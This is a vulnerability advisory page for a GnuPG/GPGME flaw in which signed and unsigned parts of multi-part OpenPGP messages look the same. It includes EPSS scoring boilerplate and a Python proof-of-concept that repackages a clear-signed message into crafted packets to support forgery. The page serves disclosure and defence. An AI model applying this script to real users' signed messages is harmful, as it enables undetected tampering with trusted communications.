Descriptions

GnuPG 1.4.6 and earlier and GPGME before 1.1.4, when run from the command line, does not visually distinguish signed and unsigned portions of OpenPGP messages with multiple components, which might allow remote attackers to forge the contents of a message without detection.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/22757/info GnuPG is prone to a weakness that may allow an attacker to add arbitrary content into a message without the end user knowing. An attacker may be able to exploit this issue in applications using GnuPG to add arbitrary content into a signed and/or encrypted message. Exploiting this issue depends on the individual application's use of GnuPG. Individual records will be created detailing this issue in affected applications. #!/usr/bin/python import os, gpg, sys, base64 clear_sign = open(sys.argv[1], "rb").read().splitlines() start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----") mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----") end = clear_sign.index("-----END PGP SIGNATURE-----") text = '\r\n'.join(clear_sign[start+3:mid]) sign = '\n'.join(clear_sign[mid+3:end-1]) onepass = gpg.OnePassSignature() onepass['keyid'] = (0x12341234,0x12341234) onepass['digest_algo'] = 2 onepass['pubkey_algo'] = 1 onepass['sigclass'] = 1 plain1 = gpg.Plaintext() plain1['name'] = 'original' plain1['data'] = text plain1['mode'] = 0x62 signature = gpg.Raw() signature['data'] = base64.decodestring(sign) compressed = gpg.Compressed() compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB compressed['data'] = [onepass, plain1, signature] pkt = gpg.Packet() pkt['version'] = 1 pkt['data'] = compressed os.write(1,str(pkt))
